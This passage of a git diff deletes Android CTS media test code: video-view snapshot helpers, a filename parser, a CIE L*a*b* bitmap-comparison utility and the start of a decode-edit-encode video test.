-                throw new RuntimeException("Unable to locate '" + label + "' in program");
-            }
-        }
-    }
-
-}
-
-/* Definition of a VideoViewSnapshot and a runnable to get a bitmap from a view. */
-abstract class VideoViewSnapshot implements Runnable {
-
-    public static final long SNAPSHOT_TIMEOUT_MS = TimeUnit.SECONDS.toMillis(30);
-    public static final long SLEEP_TIME_MS = 30;
-    public static final Object SYNC_TOKEN = new Object();
-
-    public abstract Bitmap getBitmap();
-
-    public abstract boolean isBitmapReady();
-
-    public abstract Object getSyncObject();
-
-}
-
-/* Runnable to get a bitmap from a texture view on the UI thread via a handler.
- * This class is to be used together with
- * {@link TestHelper#generateBitmapFromVideoViewSnapshot(VideoViewSnapshot)}
- */
-class TextureViewSnapshot extends VideoViewSnapshot {
-
-    private final TextureView tv;
-    private Bitmap bitmap = null;
-
-    public TextureViewSnapshot(TextureView tv) {
-        this.tv = DecodeAccuracyTestBase.checkNotNull(tv);
-    }
-
-    @Override
-    public void run() {
-        bitmap = null;
-        bitmap = tv.getBitmap();
-        synchronized (SYNC_TOKEN) {
-            SYNC_TOKEN.notify();
-        }
-    }
-
-    @Override
-    public Bitmap getBitmap() {
-        return bitmap;
-    }
-
-    @Override
-    public boolean isBitmapReady() {
-        return bitmap != null;
-    }
-
-    @Override
-    public Object getSyncObject() {
-        return SYNC_TOKEN;
-    }
-
-}
-
-/**
- * Method to get bitmap of a {@link SurfaceView}.
- * Note that PixelCopy does not have to be called in a runnable.
- * This class is to be used together with
- * {@link TestHelper#generateBitmapFromVideoViewSnapshot(VideoViewSnapshot)}
- */
-class SurfaceViewSnapshot extends VideoViewSnapshot  {
-
-    private static final String TAG = SurfaceViewSnapshot.class.getSimpleName();
-    private static final int PIXELCOPY_TIMEOUT_MS = 1000;
-    private static final int INITIAL_STATE = -1;
-
-    private final SurfaceView surfaceView;
-    private final int width;
-    private final int height;
-
-    private Bitmap bitmap;
-    private int copyResult;
-
-    public SurfaceViewSnapshot(SurfaceView surfaceView, int width, int height) {
-        this.surfaceView = surfaceView;
-        this.width = width;
-        this.height = height;
-        this.copyResult = INITIAL_STATE;
-        this.bitmap = null;
-    }
-
-    @Override
-    public void run() {
-        final long start = SystemClock.elapsedRealtime();
-        copyResult = INITIAL_STATE;
-        final SynchronousPixelCopy copyHelper = new SynchronousPixelCopy();
-        bitmap = Bitmap.createBitmap(width, height, Config.ARGB_8888);
-        try {
-            // Wait for PixelCopy to finish.
-            while ((copyResult = copyHelper.request(surfaceView, bitmap)) != PixelCopy.SUCCESS
-                    && (SystemClock.elapsedRealtime() - start) < SNAPSHOT_TIMEOUT_MS) {
-                Thread.sleep(SLEEP_TIME_MS);
-            }
-        } catch (InterruptedException e) {
-            Log.e(TAG, "Pixel Copy is stopped/interrupted before it finishes.", e);
-            bitmap = null;
-        } finally {
-            copyHelper.release();
-            synchronized (SYNC_TOKEN) {
-                SYNC_TOKEN.notify();
-            }
-        }
-    }
-
-    @Override
-    public Bitmap getBitmap() {
-        return bitmap;
-    }
-
-    @Override
-    public boolean isBitmapReady() {
-        return bitmap != null && copyResult == PixelCopy.SUCCESS;
-    }
-
-    @Override
-    public Object getSyncObject() {
-        return SYNC_TOKEN;
-    }
-
-    private static class SynchronousPixelCopy implements OnPixelCopyFinishedListener {
-
-        private final Handler handler;
-        private final HandlerThread thread;
-
-        private int status = INITIAL_STATE;
-
-        public SynchronousPixelCopy() {
-            this.thread = new HandlerThread("PixelCopyHelper");
-            thread.start();
-            this.handler = new Handler(thread.getLooper());
-        }
-
-        public void release() {
-            if (thread.isAlive()) {
-                thread.quit();
-            }
-        }
-
-        public int request(SurfaceView source, Bitmap dest) {
-            synchronized (this) {
-                try {
-                    PixelCopy.request(source, dest, this, handler);
-                    return getResultLocked();
-                } catch (Exception e) {
-                    Log.e(TAG, "Exception occurred when copying a SurfaceView.", e);
-                    return -1;
-                }
-            }
-        }
-
-        private int getResultLocked() {
-            try {
-                this.wait(PIXELCOPY_TIMEOUT_MS);
-            } catch (InterruptedException e) { /* PixelCopy request didn't complete within 1s */ }
-            return status;
-        }
-
-        @Override
-        public void onPixelCopyFinished(int copyResult) {
-            synchronized (this) {
-                status = copyResult;
-                this.notify();
-            }
-        }
-
-    }
-
-}
-
-/**
- * Runnable to get a bitmap from a GLSurfaceView on the UI thread via a handler.
- * Note, because of how the bitmap is captured in GLSurfaceView,
- * this method does not have to be a runnable.
-  * This class is to be used together with
- * {@link TestHelper#generateBitmapFromVideoViewSnapshot(VideoViewSnapshot)}
- */
-class GLSurfaceViewSnapshot extends VideoViewSnapshot {
-
-    private static final String TAG = GLSurfaceViewSnapshot.class.getSimpleName();
-
-    private final GLSurfaceViewFactory glSurfaceViewFactory;
-    private final int width;
-    private final int height;
-
-    private Bitmap bitmap = null;
-    private boolean bitmapIsReady = false;
-
-    public GLSurfaceViewSnapshot(GLSurfaceViewFactory glSurfaceViewFactory, int width, int height) {
-        this.glSurfaceViewFactory = DecodeAccuracyTestBase.checkNotNull(glSurfaceViewFactory);
-        this.width = width;
-        this.height = height;
-    }
-
-    @Override
-    public void run() {
-        bitmapIsReady = false;
-        bitmap = null;
-        try {
-            waitForByteBuffer();
-        } catch (InterruptedException exception) {
-            Log.e(TAG, exception.getMessage());
-            bitmap = null;
-            notifyObject();
-            return;
-        }
-        try {
-            final ByteBuffer byteBuffer = glSurfaceViewFactory.getByteBuffer();
-            bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888);
-            byteBuffer.rewind();
-            bitmap.copyPixelsFromBuffer(byteBuffer);
-            bitmapIsReady = true;
-            byteBuffer.clear();
-        } catch (NullPointerException exception) {
-            Log.e(TAG, "glSurfaceViewFactory or byteBuffer may have been released", exception);
-            bitmap = null;
-        } finally {
-            notifyObject();
-        }
-    }
-
-    @Override
-    public Bitmap getBitmap() {
-        return bitmap;
-    }
-
-    @Override
-    public boolean isBitmapReady() {
-        return bitmapIsReady;
-    }
-
-    @Override
-    public Object getSyncObject() {
-        return SYNC_TOKEN;
-    }
-
-    private void notifyObject() {
-        synchronized (SYNC_TOKEN) {
-            SYNC_TOKEN.notify();
-        }
-    }
-
-    private void waitForByteBuffer() throws InterruptedException {
-        // Wait for byte buffer to be ready.
-        final long start = SystemClock.elapsedRealtime();
-        while (SystemClock.elapsedRealtime() - start < SNAPSHOT_TIMEOUT_MS) {
-            if (glSurfaceViewFactory.byteBufferIsReady()) {
-                return;
-            }
-            Thread.sleep(SLEEP_TIME_MS);
-        }
-        throw new InterruptedException("Taking too long to read pixels into a ByteBuffer.");
-    }
-
-}
-
-/* Stores information of a video file. */
-class VideoFormat {
-
-    public static final String STRING_UNSET = "UNSET";
-    public static final int INT_UNSET = -1;
-
-    private final String filename;
-
-    private String mimeType = STRING_UNSET;
-    private int width = INT_UNSET;
-    private int height = INT_UNSET;
-    private int maxWidth = INT_UNSET;
-    private int maxHeight = INT_UNSET;
-    private FilenameParser filenameParser;
-
-    public VideoFormat(String filename) {
-        this.filename = filename;
-    }
-
-    public VideoFormat(VideoFormat videoFormat) {
-        this(videoFormat.filename);
-    }
-
-    private FilenameParser getParsedName() {
-        if (filenameParser == null) {
-            filenameParser = new FilenameParser(filename);
-        }
-        return filenameParser;
-    }
-
-    public String getMediaFormat() {
-        return "video";
-    }
-
-    public void setMimeType(String mimeType) {
-        this.mimeType = mimeType;
-    }
-
-    public String getMimeType() {
-        if (mimeType.equals(STRING_UNSET)) {
-            return getParsedName().getMimeType();
-        }
-        return mimeType;
-    }
-
-    public void setWidth(int width) {
-        this.width = width;
-    }
-
-    public void setMaxWidth(int maxWidth) {
-        this.maxWidth = maxWidth;
-    }
-
-    public int getWidth() {
-        if (width == INT_UNSET) {
-            return getParsedName().getWidth();
-        }
-        return width;
-    }
-
-    public int getMaxWidth() {
-        return maxWidth;
-    }
-
-    public int getOriginalWidth() {
-        return getParsedName().getWidth();
-    }
-
-    public void setHeight(int height) {
-        this.height = height;
-    }
-
-    public void setMaxHeight(int maxHeight) {
-        this.maxHeight = maxHeight;
-    }
-
-    public int getHeight() {
-        if (height == INT_UNSET) {
-            return getParsedName().getHeight();
-        }
-        return height;
-    }
-
-    public int getMaxHeight() {
-        return maxHeight;
-    }
-
-    public int getOriginalHeight() {
-        return getParsedName().getHeight();
-    }
-
-    public boolean isAbrEnabled() {
-        return false;
-    }
-
-    public String getOriginalSize() {
-        if (width == INT_UNSET || height == INT_UNSET) {
-            return getParsedName().getSize();
-        }
-        return width + "x" + height;
-    }
-
-    public String getDescription() {
-        return getParsedName().getDescription();
-    }
-
-    public String toPrettyString() {
-        return getParsedName().toPrettyString();
-    }
-
-    public AssetFileDescriptor getAssetFileDescriptor() throws FileNotFoundException {
-        File inpFile = new File(WorkDir.getMediaDirString() + "assets/decode_accuracy/" + filename);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-}
-
-/* File parser for filenames with format of {description}-{mimeType}_{size}_{framerate}.{format} */
-class FilenameParser {
-
-    static final String VP9 = "vp9";
-    static final String H264 = "h264";
-
-    private final String filename;
-
-    private String codec = VideoFormat.STRING_UNSET;
-    private String description = VideoFormat.STRING_UNSET;
-    private int width = VideoFormat.INT_UNSET;
-    private int height = VideoFormat.INT_UNSET;
-
-    FilenameParser(String filename) {
-        this.filename = filename;
-        parseFilename(filename);
-    }
-
-    public String getCodec() {
-        return codec;
-    }
-
-    public String getMimeType() {
-        switch (codec) {
-            case H264:
-                return MimeTypes.VIDEO_H264;
-            case VP9:
-                return MimeTypes.VIDEO_VP9;
-            default:
-                return null;
-        }
-    }
-
-    public int getWidth() {
-        return width;
-    }
-
-    public int getHeight() {
-        return height;
-    }
-
-    public String getSize() {
-        return width + "x" + height;
-    }
-
-    public String getDescription() {
-        return description;
-    }
-
-    String toPrettyString() {
-        if (codec != null) {
-            return codec.toUpperCase() + " " + getSize();
-        }
-        return filename;
-    }
-
-    private void parseFilename(String filename) {
-        final String descriptionDelimiter = "-";
-        final String infoDelimiter = "_";
-        final String sizeDelimiter = "x";
-        try {
-            this.description = filename.split(descriptionDelimiter)[0];
-            final String[] fileInfo = filename.split(descriptionDelimiter)[1].split(infoDelimiter);
-            this.codec = fileInfo[0];
-            this.width = Integer.parseInt(fileInfo[1].split(sizeDelimiter)[0]);
-            this.height = Integer.parseInt(fileInfo[1].split(sizeDelimiter)[1]);
-        } catch (Exception exception) { /* Filename format does not match. */ }
-    }
-
-}
-
-/**
- * Compares bitmaps to determine if they are similar.
- *
- * <p>To determine greatest pixel difference we transform each pixel into the
- * CIE L*a*b* color space. The euclidean distance formula is used to determine pixel differences.
- */
-class BitmapCompare {
-
-    private static final int RED = 0;
-    private static final int GREEN = 1;
-    private static final int BLUE = 2;
-    private static final int X = 0;
-    private static final int Y = 1;
-    private static final int Z = 2;
-
-    private BitmapCompare() {}
-
-    /**
-     * Produces greatest pixel between two bitmaps. Used to determine bitmap similarity.
-     *
-     * @param bitmap1 A bitmap to compare to bitmap2.
-     * @param bitmap2 A bitmap to compare to bitmap1.
-     * @return A {@link Difference} with an integer describing the greatest pixel difference,
-     *     using {@link Integer#MAX_VALUE} for completely different bitmaps, and an optional
-     *     {@link Pair<Integer, Integer>} of the (col, row) pixel coordinate where it was first found.
-     */
-    @TargetApi(12)
-    public static Difference computeDifference(Bitmap bitmap1, Bitmap bitmap2) {
-        if (bitmap1 == null || bitmap2 == null) {
-            return new Difference(Integer.MAX_VALUE);
-        }
-        if (bitmap1.equals(bitmap2) || bitmap1.sameAs(bitmap2)) {
-            return new Difference(0);
-        }
-        if (bitmap1.getHeight() != bitmap2.getHeight() || bitmap1.getWidth() != bitmap2.getWidth()) {
-            return new Difference(Integer.MAX_VALUE);
-        }
-        // Convert all pixels to CIE L*a*b* color space so we can do a direct color comparison using
-        // euclidean distance formula.
-        final double[][] pixels1 = convertRgbToCieLab(bitmap1);
-        final double[][] pixels2 = convertRgbToCieLab(bitmap2);
-        int greatestDifference = 0;
-        int greatestDifferenceIndex = -1;
-        for (int i = 0; i < pixels1.length; i++) {
-            final int difference = euclideanDistance(pixels1[i], pixels2[i]);
-            if (difference > greatestDifference) {
-                greatestDifference = difference;
-                greatestDifferenceIndex = i;
-            }
-        }
-        return new Difference(greatestDifference, Pair.create(
-            greatestDifferenceIndex % bitmap1.getWidth(),
-            greatestDifferenceIndex / bitmap1.getWidth()));
-    }
-
-    @SuppressLint("UseSparseArrays")
-    private static double[][] convertRgbToCieLab(Bitmap bitmap) {
-        final HashMap<Integer, double[]> pixelTransformCache = new HashMap<>();
-        final double[][] result = new double[bitmap.getHeight() * bitmap.getWidth()][3];
-        final int[] pixels = new int[bitmap.getHeight() * bitmap.getWidth()];
-        bitmap.getPixels(pixels, 0, bitmap.getWidth(), 0, 0, bitmap.getWidth(), bitmap.getHeight());
-        for (int i = 0; i < pixels.length; i++) {
-            final double[] transformedColor = pixelTransformCache.get(pixels[i]);
-            if (transformedColor != null) {
-                result[i] = transformedColor;
-            } else {
-                result[i] = convertXyzToCieLab(convertRgbToXyz(pixels[i]));
-                pixelTransformCache.put(pixels[i], result[i]);
-            }
-        }
-        return result;
-    }
-
-    /**
-     * Conversion from RGB to XYZ based algorithm as defined by:
-     * http://www.easyrgb.com/index.php?X=MATH&H=02#text2
-     *
-     * <p><pre>{@code
-     *   var_R = ( R / 255 )        //R from 0 to 255
-     *   var_G = ( G / 255 )        //G from 0 to 255
-     *   var_B = ( B / 255 )        //B from 0 to 255
-     *
-     *   if ( var_R > 0.04045 ) var_R = ( ( var_R + 0.055 ) / 1.055 ) ^ 2.4
-     *   else                   var_R = var_R / 12.92
-     *   if ( var_G > 0.04045 ) var_G = ( ( var_G + 0.055 ) / 1.055 ) ^ 2.4
-     *   else                   var_G = var_G / 12.92
-     *   if ( var_B > 0.04045 ) var_B = ( ( var_B + 0.055 ) / 1.055 ) ^ 2.4
-     *   else                   var_B = var_B / 12.92
-     *
-     *   var_R = var_R * 100
-     *   var_G = var_G * 100
-     *   var_B = var_B * 100
-     *
-     *   // Observer. = 2°, Illuminant = D65
-     *   X = var_R * 0.4124 + var_G * 0.3576 + var_B * 0.1805
-     *   Y = var_R * 0.2126 + var_G * 0.7152 + var_B * 0.0722
-     *   Z = var_R * 0.0193 + var_G * 0.1192 + var_B * 0.9505
-     * }</pre>
-     *
-     * @param rgbColor A packed int made up of 4 bytes: alpha, red, green, blue.
-     * @return An array of doubles where each value is a component of the XYZ color space.
-     */
-    private static double[] convertRgbToXyz(int rgbColor) {
-        final double[] comp = {Color.red(rgbColor), Color.green(rgbColor), Color.blue(rgbColor)};
-        for (int i = 0; i < comp.length; i++) {
-            comp[i] /= 255.0;
-            if (comp[i] > 0.04045) {
-                comp[i] = Math.pow((comp[i] + 0.055) / 1.055, 2.4);
-            } else {
-                comp[i] /= 12.92;
-            }
-            comp[i] *= 100;
-        }
-        final double x = (comp[RED] * 0.4124) + (comp[GREEN] * 0.3576) + (comp[BLUE] * 0.1805);
-        final double y = (comp[RED] * 0.2126) + (comp[GREEN] * 0.7152) + (comp[BLUE] * 0.0722);
-        final double z = (comp[RED] * 0.0193) + (comp[GREEN] * 0.1192) + (comp[BLUE] * 0.9505);
-        return new double[] {x, y, z};
-    }
-
-    /**
-     * Conversion from XYZ to CIE-L*a*b* based algorithm as defined by:
-     * http://www.easyrgb.com/index.php?X=MATH&H=07#text7
-     *
-     * <p><pre>
-     * {@code
-     *   var_X = X / ref_X          //ref_X =  95.047   Observer= 2°, Illuminant= D65
-     *   var_Y = Y / ref_Y          //ref_Y = 100.000
-     *   var_Z = Z / ref_Z          //ref_Z = 108.883
-     *
-     *   if ( var_X > 0.008856 ) var_X = var_X ^ ( 1/3 )
-     *   else                    var_X = ( 7.787 * var_X ) + ( 16 / 116 )
-     *   if ( var_Y > 0.008856 ) var_Y = var_Y ^ ( 1/3 )
-     *   else                    var_Y = ( 7.787 * var_Y ) + ( 16 / 116 )
-     *   if ( var_Z > 0.008856 ) var_Z = var_Z ^ ( 1/3 )
-     *   else                    var_Z = ( 7.787 * var_Z ) + ( 16 / 116 )
-     *
-     *   CIE-L* = ( 116 * var_Y ) - 16
-     *   CIE-a* = 500 * ( var_X - var_Y )
-     *   CIE-b* = 200 * ( var_Y - var_Z )
-     * }
-     * </pre>
-     *
-     * @param comp An array of doubles where each value is a component of the XYZ color space.
-     * @return An array of doubles where each value is a component of the CIE-L*a*b* color space.
-     */
-    private static double[] convertXyzToCieLab(double[] comp) {
-        comp[X] /= 95.047;
-        comp[Y] /= 100.0;
-        comp[Z] /= 108.883;
-        for (int i = 0; i < comp.length; i++) {
-            if (comp[i] > 0.008856) {
-                comp[i] = Math.pow(comp[i], (1.0 / 3.0));
-            } else {
-                comp[i] = (7.787 * comp[i]) + (16.0 / 116.0);
-            }
-        }
-        final double l = (116 * comp[Y]) - 16;
-        final double a = 500 * (comp[X] - comp[Y]);
-        final double b = 200 * (comp[Y] - comp[Z]);
-        return new double[] {l, a, b};
-    }
-
-    private static int euclideanDistance(double[] p1, double[] p2) {
-        if (p1.length != p2.length) {
-            return Integer.MAX_VALUE;
-        }
-        double result = 0;
-        for (int i = 0; i < p1.length; i++) {
-            result += Math.pow(p1[i] - p2[i], 2);
-        }
-        return (int) Math.round(Math.sqrt(result));
-    }
-
-    /**
-     * Crops the border of the array representing an image by hBorderSize
-     * pixels on the left and right borders, and by vBorderSize pixels on the
-     * top and bottom borders (so the width is 2 * hBorderSize smaller and
-     * the height is 2 * vBorderSize smaller), then scales the image up to
-     * match the original size using bilinear interpolation.
-     */
-    private static Bitmap shrinkAndScaleBilinear(
-            Bitmap input, double hBorderSize, double vBorderSize) {
-
-        int width = input.getWidth();
-        int height = input.getHeight();
-
-        // Compute the proper step sizes
-        double xInc = ((double) width - 1 - hBorderSize * 2) / (double) (width - 1);
-        double yInc = ((double) height - 1 - vBorderSize * 2) / (double) (height - 1);
-
-        // Read the input bitmap into RGB arrays.
-        int[] inputPixels = new int[width * height];
-        input.getPixels(inputPixels, 0, width, 0, 0, width, height);
-        int[][] inputRgb = new int[width * height][3];
-        for (int i = 0; i < width * height; ++i) {
-            inputRgb[i][0] = Color.red(inputPixels[i]);
-            inputRgb[i][1] = Color.green(inputPixels[i]);
-            inputRgb[i][2] = Color.blue(inputPixels[i]);
-        }
-        inputPixels = null;
-
-        // Prepare the output buffer.
-        int[] outputPixels = new int[width * height];
-
-        // Start the iteration. The first y coordinate is vBorderSize.
-        double y = vBorderSize;
-        for (int yIndex = 0; yIndex < height; ++yIndex) {
-            // The first x coordinate is hBorderSize.
-            double x = hBorderSize;
-            for (int xIndex = 0; xIndex < width; ++xIndex) {
-                // Determine the square of interest.
-                int left = (int)x;    // This is floor(x).
-                int top = (int)y;     // This is floor(y).
-                int right = left + 1;
-                int bottom = top + 1;
-
-                // (u, v) is the fractional part of (x, y).
-                double u = x - (double)left;
-                double v = y - (double)top;
-
-                // Precompute necessary products to save time.
-                double p00 = (1.0 - u) * (1.0 - v);
-                double p01 = (1.0 - u) * v;
-                double p10 = u * (1.0 - v);
-                double p11 = u * v;
-
-                // Clamp the indices to prevent out-of-bound that may be caused
-                // by round-off error.
-                if (left >= width) left = width - 1;
-                if (top >= height) top = height - 1;
-                if (right >= width) right = width - 1;
-                if (bottom >= height) bottom = height - 1;
-
-                // Sample RGB values from the four corners.
-                int[] rgb00 = inputRgb[top * width + left];
-                int[] rgb01 = inputRgb[bottom * width + left];
-                int[] rgb10 = inputRgb[top * width + right];
-                int[] rgb11 = inputRgb[bottom * width + right];
-
-                // Interpolate each component of RGB separately.
-                int[] mixedColor = new int[3];
-                for (int k = 0; k < 3; ++k) {
-                    mixedColor[k] = (int)Math.round(
-                            p00 * (double) rgb00[k] + p01 * (double) rgb01[k]
-                            + p10 * (double) rgb10[k] + p11 * (double) rgb11[k]);
-                }
-                // Convert RGB to bitmap Color format and store.
-                outputPixels[yIndex * width + xIndex] = Color.rgb(
-                        mixedColor[0], mixedColor[1], mixedColor[2]);
-                x += xInc;
-            }
-            y += yInc;
-        }
-        // Assemble the output buffer into a Bitmap object.
-        return Bitmap.createBitmap(outputPixels, width, height, input.getConfig());
-    }
-
-    /**
-     * Calls computeDifference on multiple cropped-and-scaled versions of
-     * bitmap2.
-     */
-    @TargetApi(12)
-    public static Difference computeMinimumDifference(
-            Bitmap bitmap1, Bitmap bitmap2, Pair<Double, Double>[] borderCrops) {
-
-        // Compute the difference with the original image (bitmap2) first.
-        Difference minDiff = computeDifference(bitmap1, bitmap2);
-        // Then go through the list of borderCrops.
-        for (Pair<Double, Double> borderCrop : borderCrops) {
-            // Compute the difference between bitmap1 and a transformed
-            // version of bitmap2.
-            Bitmap bitmap2s = shrinkAndScaleBilinear(bitmap2, borderCrop.first, borderCrop.second);
-            Difference d = computeDifference(bitmap1, bitmap2s);
-            // Keep the minimum difference.
-            if (d.greatestPixelDifference < minDiff.greatestPixelDifference) {
-                minDiff = d;
-                minDiff.bestMatchBorderCrop = borderCrop;
-            }
-        }
-        return minDiff;
-    }
-
-    /**
-     * Calls computeMinimumDifference on a default list of borderCrop.
-     */
-    @TargetApi(12)
-    public static Difference computeMinimumDifference(
-            Bitmap bitmap1, Bitmap bitmap2, int trueWidth, int trueHeight) {
-
-        double hBorder = (double) bitmap1.getWidth() / (double) trueWidth;
-        double vBorder = (double) bitmap1.getHeight() / (double) trueHeight;
-        double hBorderH = 0.5 * hBorder; // Half-texel horizontal border
-        double vBorderH = 0.5 * vBorder; // Half-texel vertical border
-        return computeMinimumDifference(
-                bitmap1,
-                bitmap2,
-                new Pair[] {
-                    Pair.create(hBorderH, 0.0),
-                    Pair.create(hBorderH, vBorderH),
-                    Pair.create(0.0, vBorderH),
-                    Pair.create(hBorder, 0.0),
-                    Pair.create(hBorder, vBorder),
-                    Pair.create(0.0, vBorder)
-                });
-        // This default list of borderCrop comes from the behavior of
-        // GLConsumer.computeTransformMatrix().
-    }
-
-    /* Describes the difference between two {@link Bitmap} instances. */
-    public static final class Difference {
-
-        public final int greatestPixelDifference;
-        public final Pair<Integer, Integer> greatestPixelDifferenceCoordinates;
-        public Pair<Double, Double> bestMatchBorderCrop;
-
-        private Difference(int greatestPixelDifference) {
-            this(greatestPixelDifference, null, Pair.create(0.0, 0.0));
-        }
-
-        private Difference(
-                int greatestPixelDifference,
-                Pair<Integer, Integer> greatestPixelDifferenceCoordinates) {
-            this(greatestPixelDifference, greatestPixelDifferenceCoordinates,
-                    Pair.create(0.0, 0.0));
-        }
-
-        private Difference(
-                int greatestPixelDifference,
-                Pair<Integer, Integer> greatestPixelDifferenceCoordinates,
-                Pair<Double, Double> bestMatchBorderCrop) {
-            this.greatestPixelDifference = greatestPixelDifference;
-            this.greatestPixelDifferenceCoordinates = greatestPixelDifferenceCoordinates;
-            this.bestMatchBorderCrop = bestMatchBorderCrop;
-        }
-    }
-
-}
-
-/* Wrapper for MIME types. */
-final class MimeTypes {
-
-    private MimeTypes() {}
-
-    public static final String VIDEO_VP9 = "video/x-vnd.on2.vp9";
-    public static final String VIDEO_H264 = "video/avc";
-
-    public static boolean isVideo(String mimeType) {
-        return mimeType.startsWith("video");
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/DecodeEditEncodeTest.java b/tests/tests/media/src/android/media/cts/DecodeEditEncodeTest.java
deleted file mode 100644
index 4bada72..0000000
--- a/tests/tests/media/src/android/media/cts/DecodeEditEncodeTest.java
+++ /dev/null
@@ -1,932 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.opengl.GLES20;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.ArrayList;
-
-
-/**
- * This test has three steps:
- * <ol>
- *   <li>Generate a video test stream.
- *   <li>Decode the video from the stream, rendering frames into a SurfaceTexture.
- *       Render the texture onto a Surface that feeds a video encoder, modifying
- *       the output with a fragment shader.
- *   <li>Decode the second video and compare it to the expected result.
- * </ol><p>
- * The second step is a typical scenario for video editing.  We could do all this in one
- * step, feeding data through multiple stages of MediaCodec, but at some point we're
- * no longer exercising the code in the way we expect it to be used (and the code
- * gets a bit unwieldy).
- */
-public class DecodeEditEncodeTest extends AndroidTestCase {
-    private static final String TAG = "DecodeEditEncode";
-    private static final boolean WORK_AROUND_BUGS = false;  // avoid fatal codec bugs
-    private static final boolean VERBOSE = false;           // lots of logging
-    private static final boolean DEBUG_SAVE_FILE = false;   // save copy of encoded movie
-
-    // parameters for the encoder
-                                                            // H.264 Advanced Video Coding
-    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final int FRAME_RATE = 15;               // 15fps
-    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
-    private static final String KEY_ALLOW_FRAME_DROP = "allow-frame-drop";
-
-    // movie length, in frames
-    private static final int NUM_FRAMES = FRAME_RATE * 3;   // three seconds of video
-
-    // since encoders are lossy, we treat the first N frames differently, with a different
-    // tolerance, than the remainder of the clip.  The # of such frames is
-    // INITIAL_TOLERANCE_FRAME_LIMIT, the tolerance within that window is defined by
-    // INITIAL_TOLERANCE and the tolerance afterwards is defined by TOLERANCE
-    private final int INITIAL_TOLERANCE_FRAME_LIMIT = FRAME_RATE * 2;
-
-    // allowed error between input and output
-    private static final int TOLERANCE = 8;
-
-    // allowed error between input and output for initial INITIAL_TOLERANCE_FRAME_LIMIT frames
-    private static final int INITIAL_TOLERANCE = 10;
-
-    private static final int TEST_R0 = 0;                   // dull green background
-    private static final int TEST_G0 = 136;
-    private static final int TEST_B0 = 0;
-    private static final int TEST_R1 = 236;                 // pink; BT.601 YUV {120,160,200}
-    private static final int TEST_G1 = 50;
-    private static final int TEST_B1 = 186;
-
-    // Replaces TextureRender.FRAGMENT_SHADER during edit; swaps green and blue channels.
-    private static final String FRAGMENT_SHADER =
-            "#extension GL_OES_EGL_image_external : require\n" +
-            "precision mediump float;\n" +
-            "varying vec2 vTextureCoord;\n" +
-            "uniform samplerExternalOES sTexture;\n" +
-            "void main() {\n" +
-            "  gl_FragColor = texture2D(sTexture, vTextureCoord).rbga;\n" +
-            "}\n";
-
-    // size of a frame, in pixels
-    private int mWidth = -1;
-    private int mHeight = -1;
-    // bit rate, in bits per second
-    private int mBitRate = -1;
-
-    // largest color component delta seen (i.e. actual vs. expected)
-    private int mLargestColorDelta;
-
-
-    public void testVideoEditQCIF() throws Throwable {
-        setParameters(176, 144, 1100000);
-        VideoEditWrapper.runTest(this);
-    }
-    public void testVideoEditQVGA() throws Throwable {
-        setParameters(320, 240, 2000000);
-        VideoEditWrapper.runTest(this);
-    }
-    public void testVideoEdit720p() throws Throwable {
-        setParameters(1280, 720, 6000000);
-        VideoEditWrapper.runTest(this);
-    }
-
-    /**
-     * Wraps testEditVideo, running it in a new thread.  Required because of the way
-     * SurfaceTexture.OnFrameAvailableListener works when the current thread has a Looper
-     * configured.
-     */
-    private static class VideoEditWrapper implements Runnable {
-        private Throwable mThrowable;
-        private DecodeEditEncodeTest mTest;
-
-        private VideoEditWrapper(DecodeEditEncodeTest test) {
-            mTest = test;
-        }
-
-        @Override
-        public void run() {
-            try {
-                mTest.videoEditTest();
-            } catch (Throwable th) {
-                mThrowable = th;
-            }
-        }
-
-        /** Entry point. */
-        public static void runTest(DecodeEditEncodeTest obj) throws Throwable {
-            VideoEditWrapper wrapper = new VideoEditWrapper(obj);
-            Thread th = new Thread(wrapper, "codec test");
-            th.start();
-            th.join();
-            if (wrapper.mThrowable != null) {
-                throw wrapper.mThrowable;
-            }
-        }
-    }
-
-    /**
-     * Sets the desired frame size and bit rate.
-     */
-    private void setParameters(int width, int height, int bitRate) {
-        if ((width % 16) != 0 || (height % 16) != 0) {
-            Log.w(TAG, "WARNING: width or height not multiple of 16");
-        }
-        mWidth = width;
-        mHeight = height;
-        mBitRate = bitRate;
-    }
-
-    /**
-     * Tests editing of a video file with GL.
-     */
-    private void videoEditTest()
-            throws IOException {
-        VideoChunks sourceChunks = new VideoChunks();
-
-        if (!generateVideoFile(sourceChunks)) {
-            // No AVC codec?  Fail silently.
-            return;
-        }
-
-        if (DEBUG_SAVE_FILE) {
-            // Save a copy to a file.  We call it ".mp4", but it's actually just an elementary
-            // stream, so not all video players will know what to do with it.
-            String dirName = getContext().getFilesDir().getAbsolutePath();
-            String fileName = "vedit1_" + mWidth + "x" + mHeight + ".mp4";
-            sourceChunks.saveToFile(new File(dirName, fileName));
-        }
-
-        VideoChunks destChunks = editVideoFile(sourceChunks);
-
-        if (DEBUG_SAVE_FILE) {
-            String dirName = getContext().getFilesDir().getAbsolutePath();
-            String fileName = "vedit2_" + mWidth + "x" + mHeight + ".mp4";
-            destChunks.saveToFile(new File(dirName, fileName));
-        }
-
-        checkVideoFile(destChunks);
-    }
-
-    /**
-     * Generates a test video file, saving it as VideoChunks.  We generate frames with GL to
-     * avoid having to deal with multiple YUV formats.
-     *
-     * @return true on success, false on "soft" failure
-     */
